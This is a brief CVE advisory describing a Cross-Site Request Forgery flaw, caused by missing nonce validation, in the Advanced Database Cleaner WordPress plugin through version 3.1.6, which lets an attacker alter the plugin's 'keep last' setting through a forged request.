CVE-2025-11497

Description

The Advanced Database Cleaner plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.1.6. This is due to missing or incorrect nonce validation on the aDBc_prepare_elements_to_clean() function. This makes it possible for unauthenticated attackers to alter the keep last setting via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. CVE-2025-64357 is a duplicate of this issue.
